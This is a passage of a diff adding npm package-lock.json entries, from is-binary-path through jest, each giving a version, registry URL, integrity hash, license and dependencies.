"https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-ci": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-3.0.1.tgz", + "integrity": "sha512-ZYvCgrefwqoQ6yTyYUbQu64HsITZ3NfKX1lzaEYdkTDcfKzzCI/wthRRYKkdjHKFVgNiXKAKm65Zo1pk2as/QQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ci-info": "^3.2.0" + }, + "bin": { + "is-ci": "bin.js" + } + }, + "node_modules/is-core-module": { + "version": "2.15.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.15.1.tgz", + "integrity": "sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==", + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "deprecated": "Please upgrade to v1.0.1", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-data-view": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.1.tgz", + "integrity": "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w==", + "license": "MIT", + "dependencies": { + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "license": "MIT", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "license": "MIT", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.0.tgz", + "integrity": "sha512-qfMdqbAQEwBw78ZyReKnlA8ezmPdb9BemzIIip/JkjaZUhitfXDkkr+3QTboW0JrSXT1QWyYShpvnNHGZ4c4yA==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-generator-function": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", + "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", + "license": "MIT", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-in-browser": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/is-in-browser/-/is-in-browser-1.1.3.tgz", + "integrity": "sha512-FeXIBgG/CPGd/WUxuEyvgGTEfwiG9Z4EKGxjNMRqviiIIfsmgrpnHLffEDdwUHqNva1VEW91o3xBT/m8Elgl9g==", + "license": "MIT" + }, + "node_modules/is-installed-globally": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.4.0.tgz", + "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "global-dirs": "^3.0.0", + "is-path-inside": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz", + "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz", + "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==", + "license": "MIT" + }, + "node_modules/is-negative-zero": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz", + "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "license": "MIT", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "license": "MIT" + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regexp": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-root": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz", + "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-set": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz", + "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.3.tgz", + "integrity": "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "license": "MIT", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.13.tgz", + "integrity": "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw==", + "license": "MIT", + "dependencies": { + "which-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==", + "license": "MIT" + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-weakmap": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz", + "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.3.tgz", + "integrity": "sha512-LvIm3/KWzS9oRFHugab7d+M/GcBXuXX5xZkzPmN+NxihdQlZUQ4dWuSV1xR/sq6upL1TJEDrfBgRepHFdBtSNQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-windows": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", + "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "license": "MIT", + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==", + "dev": true, + "license": "MIT" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", + "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.0.tgz", + "integrity": "sha512-6Lthe1hqXHBNsqvgDzGO6l03XNeu3CrG4RqQ1KM9+l5+jNGpEJfIELx1NS3SEHmJQA8np/u+E4EPRKRiu6m19A==", + "license": "BSD-3-Clause", + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", + "license": "BSD-3-Clause", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^3.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "license": "MIT", + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/istanbul-lib-report/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "license": "BSD-3-Clause", + "dependencies": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.4.tgz", + "integrity": "sha512-r1/DshN4KSE7xWEknZLLLLDn5CJybV3nw01VTkp6D5jzLuELlcbudfj/eSQFvrKsJuTVCGnePO7ho82Nw9zzfw==", + "license": "BSD-3-Clause", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jake": { + "version": "10.8.5", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.5.tgz", + "integrity": "sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==", + "license": "Apache-2.0", + "dependencies": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.1", + "minimatch": "^3.0.4" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jake/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jake/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jake/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jake/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jake/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jake/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest/-/jest-27.5.1.tgz", + "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==", + "license": "MIT", + "dependencies": { + "@jest/core": "^27.5.1", + "import-local": "^3.0.2", + 